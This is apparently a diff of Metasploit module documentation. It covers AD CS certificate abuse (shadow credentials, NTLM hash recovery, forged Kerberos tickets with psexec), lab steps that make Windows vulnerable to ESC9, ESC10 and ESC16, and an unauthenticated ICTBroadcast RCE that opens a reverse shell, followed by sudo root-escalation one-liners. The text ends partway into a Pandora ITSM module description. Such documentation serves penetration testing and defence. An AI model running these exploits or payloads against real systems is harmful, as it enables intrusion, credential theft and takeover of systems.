[+] The operation completed successfully!
|
||||
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
|
||||
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
|
||||
[*] 172.16.199.200:445 - Getting hash for Test2$
|
||||
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
|
||||
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
|
||||
[*] 172.16.199.200:445 - Removing shadow credential
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
|
||||
[*] 172.16.199.200:445 - Reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
|
||||
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
|
||||
@@ -61,6 +61,12 @@ Username to request on behalf of. This is in the format `$domain\\$username`.
|
||||
|
||||
The digest algorithm to use for cryptographic signing operations.
|
||||
|
||||
When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
|
||||
This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
|
||||
`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
|
||||
versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
|
||||
[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
|
||||
|
||||
## Actions
|
||||
|
||||
### REQUEST_CERT
|
||||
|
||||
@@ -298,14 +298,14 @@ host service type name content i
|
||||
TGS using a previously forged golden ticket:
|
||||
|
||||
```
|
||||
# Forge a golden ticket
|
||||
# 1. Forge a golden ticket
|
||||
msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
|
||||
|
||||
[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
# Request a silver ticket:
|
||||
# 2. Request a silver ticket:
|
||||
|
||||
msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
|
||||
[*] Running module against 10.10.11.5
|
||||
@@ -317,7 +317,7 @@ msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5
|
||||
[+] 10.10.11.5:88 - Received a valid delegation TGS-Response
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
# Use psexec:
|
||||
# 3. Use psexec:
|
||||
|
||||
msf exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
## Description
|
||||
|
||||
The `ldap_object_attribute` module allows users to read, create, update or delete attributes of LDAP objects in an Active Directory environment.
|
||||
This module is flexible, enabling users to specify the target object and the attribute they wish to interact with.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Action Update
|
||||
1. On the target host determine the current UPN value of the user you wish to update:
|
||||
```powershell
|
||||
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
|
||||
|
||||
UserPrincipalName
|
||||
-----------------
|
||||
user2
|
||||
```
|
||||
1. Start `msfconsole`
|
||||
1. Do: `use auxiliary/gather/ldap_object_attribute`
|
||||
1. Do: `set RHOST [IP]`
|
||||
1. Do: `set LDAPDomain [DOMAIN]`
|
||||
1. Do: `set LDAPUsername [USERNAME]`
|
||||
1. Do: `set LDAPPassword [PASSWORD]`
|
||||
1. Do: `set TARGET_USERNAME [TARGET_USERNAME]`
|
||||
1. Do: `set ATTRIBUTE userPrincipalName`
|
||||
1. Do: `set OBJECT_LOOKUP sAMAccountName`
|
||||
1. Do: `set OBJECT [User you wish to update]`
|
||||
1. Do: `set VALUE [New value for the attribute (e.g., Administrator)]`
|
||||
1. Do: `set ACTION update`
|
||||
1. Do: `run`
|
||||
1. Verify the attribute has been updated successfully:
|
||||
```powershell
|
||||
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
|
||||
|
||||
UserPrincipalName
|
||||
-----------------
|
||||
Administrator
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### OBJECT
|
||||
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.
|
||||
|
||||
### OBJECT_LOOKUP
|
||||
How to look up the target LDAP object. This can either be done by specifying a DN or by specifying `sAMAaccountName` in order to work with AD account attributes.
|
||||
|
||||
### ATTRIBUTE
|
||||
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.
|
||||
|
||||
### VALUE
|
||||
Required when running "Update" or "Create" actions and is the value of the specified attribute that you want to set for the target object.
|
||||
|
||||
## Scenarios
|
||||
### Action `Update`
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set action update
|
||||
action => update
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
|
||||
rhost => 172.16.199.200
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
|
||||
LDAPDomain => kerberos.issue
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
|
||||
LDAPUsername => user1
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
|
||||
LDAPPassword => N0tpassword!
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
|
||||
OBJECT => user2
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
|
||||
OBJECT_LOOKUP => sAMAccountName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
|
||||
ATTRIBUTE => userPrincipalName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
|
||||
VALUE => Administrator
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] Discovering base DN automatically
|
||||
[*] Original value of user2's userPrincipalName:
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Action `Read`
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set action read
|
||||
action => read
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
|
||||
rhost => 172.16.199.200
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
|
||||
LDAPDomain => kerberos.issue
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
|
||||
LDAPUsername => user1
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
|
||||
LDAPPassword => N0tpassword!
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
|
||||
OBJECT => user2
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
|
||||
OBJECT_LOOKUP => sAMAccountName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
|
||||
ATTRIBUTE => userPrincipalName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] Discovering base DN automatically
|
||||
[+] Found CN=user2,CN=Users,DC=kerberos,DC=issue with userPrincipalName set to Administrator
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Action `Delete`
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set action delete
|
||||
action => delete
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
|
||||
rhost => 172.16.199.200
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
|
||||
LDAPDomain => kerberos.issue
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
|
||||
LDAPUsername => user1
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
|
||||
LDAPPassword => N0tpassword!
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
|
||||
OBJECT => user2
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
|
||||
OBJECT_LOOKUP => sAMAccountName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
|
||||
ATTRIBUTE => userPrincipalName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] Discovering base DN automatically
|
||||
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
|
||||
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Action `Create`
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set action create
|
||||
action => create
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
|
||||
rhost => 172.16.199.200
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
|
||||
LDAPDomain => kerberos.issue
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
|
||||
LDAPUsername => user1
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
|
||||
LDAPPassword => N0tpassword!
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
|
||||
OBJECT => user2
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
|
||||
OBJECT_LOOKUP => sAMAccountName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
|
||||
ATTRIBUTE => userPrincipalName
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
|
||||
VALUE => Administrator
|
||||
msf6 auxiliary(gather/ldap_object_attribute) > run
|
||||
[*] Reloading module...
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] Discovering base DN automatically
|
||||
[*] Attempting to add attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue...
|
||||
[+] Successfully added attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
|
||||
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.
|
||||
@@ -90,6 +90,56 @@ a normal user account by analyzing the objects in LDAP.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC9 Vulnerable Certificate Template
|
||||
1. Open up the run prompt and type in `certsrv`.
|
||||
1. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`.
|
||||
1. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
|
||||
1. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
|
||||
1. The `User` certificate already has the `Client Authentication` EKU enabled so we can use this as a base template.
|
||||
1. Select the Subject Name tab and select `Build from this Active Directory Information`, under the `Subject Name Format` section select `User Principal Name (UPN)` (or `DNS Name` depending on what scenario you're attempting to exploit).
|
||||
1. Under the `Subject Name Format` also be sure to unselect `Include e-mail name in subject name` and `E-mail name`.
|
||||
1. Select the `General` tab and rename this to something meaningful like `ESC9-Template`, then click the `Apply` button.
|
||||
1. Select the Security tab and click the `Add` button.
|
||||
1. Enter `user2` (or whatever user's UPN you will be changing for this attack). Click OK.
|
||||
1. Under Permissions for `user2` select `Allow` for `Enroll` and `Read`.
|
||||
1. Click `Apply` and then `OK`.
|
||||
1. Open Active Directory Users and Computers, expand the domain on the left hand side.
|
||||
1. Enable advanced features to access the security tab by checking "View" > "Advanced Features"
|
||||
1. Right click `Users` and navigate `user2` and select `Properties`.
|
||||
1. In the security tab, select `Add` and enter `user1` (or whatever user you will be using to perform the attack). Click OK.
|
||||
1. Under Permissions for `user1` select `Allow` for `Read` and `Write` (or select `Allow` for `Full Control`).
|
||||
1. Open a Powershell prompt as Administrator and run the following (change `kerberos.issue` to your domain name):
|
||||
```powershell
|
||||
$template = [ADSI]"LDAP://CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue"
|
||||
$template.Put("msPKI-Enrollment-Flag", 0x80000)
|
||||
$template.SetInfo()
|
||||
```
|
||||
#### Configuring Windows to be Vulnerable to ESC9
|
||||
1. The template should now be reported as `Potentially Vulnerable` by the module.
|
||||
1. In order to be able to exploit this template run the following Powershell command and ensure `StrongCertificateBindingEnforcement` is not set to `2` (it should be 1, or 0):
|
||||
```powershell
|
||||
Set-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement -Value 1
|
||||
Get-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement
|
||||
```
|
||||
|
||||
### Setting up a ESC10 Vulnerable Certificate Template
|
||||
1. Follow the first 15 steps `Setting up a ESC9 Vulnerable Certificate Template` to create the `ESC10-Template`.
|
||||
1. Everything up to and excluding the `msPKI-Enrollment-Flag", 0x80000` powershell step.
|
||||
#### Configuring Windows to be Vulnerable to ESC10
|
||||
1. The template should now be reported as `Potentially Vulnerable` by the module.
|
||||
##### ESC10 Case1:
|
||||
1. In order to be able to exploit this template run the following Powershell command and ensure `StrongCertificateBindingEnforcement` is set to `0`
|
||||
```powershell
|
||||
Set-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement -Value 0
|
||||
Get-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement
|
||||
```
|
||||
##### ESC10 Case2:
|
||||
1. In order to be able to exploit this template run the following Powershell command and ensure `CertificateMappingMethods` is set to `0x4`
|
||||
```powershell
|
||||
Set-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\" -Name CertificateMappingMethods -Value 4
|
||||
Get-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\" -Name CertificateMappingMethods
|
||||
```
|
||||
|
||||
### Setting up a ESC13 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`.
|
||||
1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button.
|
||||
@@ -131,6 +181,52 @@ a normal user account by analyzing the objects in LDAP.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC16 Vulnerable Certificate Template
|
||||
#### Configuring Windows to be Vulnerable to ESC16
|
||||
1. There are two ECS16 scenarios and both depend on the CA having the OID: `1.3.6.1.4.1.311.25.2` being present in its `policy\DisableExtensionList`
|
||||
1. Run the following Powershell snippet to add the OID to the `DisableExtensionList` if it is not already present:
|
||||
```powershell
|
||||
$activePolicyName = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules" -Name "Active" | Select-Object -ExpandProperty Active
|
||||
$disableExtensionList = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules\$activePolicyName" -Name "DisableExtensionList" | Select-Object -ExpandProperty DisableExtensionList
|
||||
|
||||
if (-not ($disableExtensionList -contains "1.3.6.1.4.1.311.25.2")) {
|
||||
$updatedList = $disableExtensionList + @("1.3.6.1.4.1.311.25.2")
|
||||
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules\$activePolicyName" -Name "DisableExtensionList" -Value $updatedList
|
||||
Write-Output "OID 1.3.6.1.4.1.311.25.2 has been added to the DisableExtensionList."
|
||||
} else {
|
||||
Write-Output "OID 1.3.6.1.4.1.311.25.2 is already present in the DisableExtensionList."
|
||||
}
|
||||
```
|
||||
#### ESC16 Scenario 1
|
||||
When a CA has the OID `1.3.6.1.4.1.311.25.2` added to its `policy\DisableExtensionList` registry setting every certificate issued by this CA will lack this SID security extension.
|
||||
This effectively makes all templates published by this CA behave as if they were individually configured with the `CT_FLAG_NO_SECURITY_EXTENSION` flag (as seen in ESC9).
|
||||
So if `StrongCertificateBindingEnforcement` is not set to `2` we can exploit this weak mapping.
|
||||
|
||||
In order to create a template vulnerable to ESC16 scenario 1, follow the first 15 steps in `Setting up a ESC9 Vulnerable Certificate Template`,
|
||||
which is all the steps up to and excluding the `msPKI-Enrollment-Flag", 0x80000` powershell step which is how you set the `CT_FLAG_NO_SECURITY_EXTENSION`.
|
||||
Ensure that `StrongCertificateBindingEnforcement` is set to `0` or `1` (not `2`) by running the following command listed in `Configuring Windows to be Vulnerable to ESC9`
|
||||
|
||||
### ESC16 Scenario 2
|
||||
When a CA has the OID `1.3.6.1.4.1.311.25.2` added to its `policy\DisableExtensionList` and `StrongCertificateBindingEnforcement` is set to `2`, there is still a way to exploit the template.
|
||||
If the policy module's `EditFlags` has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set (which is essentially ESC6), then the template is vulnerable to ESC16 scenario 2.
|
||||
|
||||
Ensure the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set by running following PowerShell command:
|
||||
```powershell
|
||||
$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
|
||||
$activePolicyName = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules" -Name "Active").Active
|
||||
$editFlagsPath = "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules\$activePolicyName"
|
||||
$editFlags = (Get-ItemProperty -Path $editFlagsPath -Name "EditFlags").EditFlags
|
||||
|
||||
if ($editFlags -band $EDITF_ATTRIBUTESUBJECTALTNAME2) {
|
||||
Write-Output "The EDITF_ATTRIBUTESUBJECTALTNAME2 flag is already enabled."
|
||||
} else {
|
||||
# Enable the flag by setting it in the EditFlags value
|
||||
$newEditFlags = $editFlags -bor $EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
Set-ItemProperty -Path $editFlagsPath -Name "EditFlags" -Value $newEditFlags
|
||||
Write-Output "The EDITF_ATTRIBUTESUBJECTALTNAME2 flag has been enabled."
|
||||
}
|
||||
```
|
||||
|
||||
## Module usage
|
||||
|
||||
1. Do: Start msfconsole
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits an **unauthenticated remote code
|
||||
execution (RCE)** vulnerability in **ICTBroadcast**.
|
||||
The vulnerability exists due to improper handling of session
|
||||
cookies in the authentication mechanism. An attacker can inject arbitrary system commands by modifying the session cookie.
|
||||
|
||||
The issue affects **various versions of ICTBroadcast**, but
|
||||
specific impacted releases are currently unknown. The vulnerability allows an attacker to execute shell commands **without authentication**.
|
||||
|
||||
## Options
|
||||
|
||||
None
|
||||
|
||||
## Testing
|
||||
|
||||
To test the exploit, spin up a vulnerable ICTBroadcast instance with Docker.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
db:
|
||||
image: mariadb:10.6
|
||||
container_name: ictmysql
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: root
|
||||
MARIADB_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: ictbroadcast
|
||||
MYSQL_USER: ictuser
|
||||
MYSQL_PASSWORD: ictpass
|
||||
volumes:
|
||||
- db_data:/var/lib/mysql
|
||||
ports:
|
||||
- "3306:3306"
|
||||
|
||||
ictbroadcast:
|
||||
image: chocapikk/ictbroadcast-cve-2025-2611:latest
|
||||
container_name: ictbroadcast
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "80:80"
|
||||
- "443:443"
|
||||
command: >
|
||||
bash -c "
|
||||
composer --working-dir=/usr require stefangabos/zebra_pagination &&
|
||||
/usr/sbin/httpd -k start &&
|
||||
/usr/sbin/php-fpm &&
|
||||
tail -f /dev/null
|
||||
"
|
||||
|
||||
volumes:
|
||||
db_data:
|
||||
```
|
||||
|
||||
1. Start the stack:
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
2. Verify that the login page is reachable at **`http://localhost/login.php`**.
|
||||
The application should issue a valid session cookie on first visit.
|
||||
|
||||
3. Run the Metasploit module.
|
||||
The exploit will automatically harvest the session cookie (format may vary across deployments)
|
||||
and leverage it to execute arbitrary commands via the vulnerable endpoint.
|
||||
|
||||
## Verification Steps
|
||||
1. Start **Metasploit Framework**:
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
2. Load the module:
|
||||
```bash
|
||||
use exploit/linux/http/ictbroadcast_unauth_cookie
|
||||
```
|
||||
|
||||
3. Set the **target IP address**:
|
||||
```bash
|
||||
set RHOSTS <TARGET_IP>
|
||||
```
|
||||
|
||||
4. Set the **payload** for command execution:
|
||||
```bash
|
||||
set PAYLOAD cmd/unix/reverse_bash
|
||||
```
|
||||
|
||||
5. Configure the listener:
|
||||
```bash
|
||||
set LHOST <YOUR_IP>
|
||||
set LPORT 4444
|
||||
```
|
||||
|
||||
6. Check if the target is vulnerable:
|
||||
```bash
|
||||
check
|
||||
```
|
||||
|
||||
7. Exploit the target:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Unauthenticated Command Execution
|
||||
**Note**: Ensure that the target is vulnerable using the `check` command before running the exploit.
|
||||
|
||||
**Note**: The session cookie is retrieved dynamically and modified for command injection.
|
||||
|
||||
```bash
|
||||
msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking ICTBroadcast via JS fingerprints
|
||||
[+] JS fingerprint found; performing timing tests
|
||||
[*] Retrieving session cookies dynamically
|
||||
[*] Found cookies: BROADCAST=49b067ae1fdfbcab3d73caa1c7e6d75a
|
||||
[+] The target is vulnerable. Injected RCE (slept 4s)
|
||||
[*] Sending stage (3090404 bytes) to 192.168.128.3
|
||||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.128.3:53178) at 2025-08-04 17:50:33 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.128.3
|
||||
OS : Red Hat 8.10 (Linux 6.15.8-2-cachyos)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > shell
|
||||
Process 877 created.
|
||||
Channel 1 created.
|
||||
SHELL=/bin/bash script -q /dev/null
|
||||
bash-4.4$ sudo -l
|
||||
sudo -l
|
||||
Matching Defaults entries for asterisk on f7681361bd20:
|
||||
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
|
||||
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
|
||||
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
|
||||
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
|
||||
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
|
||||
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
|
||||
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
|
||||
|
||||
User asterisk may run the following commands on f7681361bd20:
|
||||
(root) NOPASSWD: /usr/sbin/asterisk
|
||||
(root) NOPASSWD: /etc/init.d/asterisk
|
||||
(root) NOPASSWD: /etc/init.d/httpd
|
||||
(root) NOPASSWD: /etc/init.d/mysqld
|
||||
(root) NOPASSWD: /etc/init.d/kannel
|
||||
(root) NOPASSWD: /usr/sbin/ntpdate
|
||||
(root) NOPASSWD: /usr/sbin/rabbitmqctl
|
||||
(root) NOPASSWD: /bin/systemctl
|
||||
bash-4.4$
|
||||
```
|
||||
#### Low-hanging LPE via systemctl
|
||||
|
||||
If `/bin/systemctl` is listed in sudo as NOPASSWD, you can escalate to root (outside Docker) via:
|
||||
|
||||
```bash
|
||||
sudo systemctl
|
||||
!sh
|
||||
```
|
||||
|
||||
*Source: [https://gtfobins.github.io/gtfobins/systemctl/#sudo](https://gtfobins.github.io/gtfobins/systemctl/#sudo)*
|
||||
|
||||
#### Low-hanging LPE via Asterisk NOPASSWD
|
||||
|
||||
If `/usr/sbin/asterisk` is listed in sudo as NOPASSWD, you can obtain a root shell by:
|
||||
|
||||
```bash
|
||||
# 1) Start Asterisk as root, in foreground so it creates its CLI socket
|
||||
sudo asterisk -F
|
||||
|
||||
# 2) Connect to the Asterisk console and drop into a root shell
|
||||
sudo asterisk -r
|
||||
f7681361bd20*CLI> !sh
|
||||
sh-4.4#
|
||||
```
|
||||
@@ -0,0 +1,131 @@
|
||||
## Vulnerable Application
|
||||
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
|
||||
and customer service teams, aligned with ITIL processes.
|
||||
This module exploits a command injection vulnerability in the `name` backup setting at the
|
||||
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
|
||||
malicious payload injected at the `name` parameter.
|
||||
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
|
||||
This access can be achieved by knowing the admin credentials to access the web application or
|
||||
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
|
||||
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
|
||||
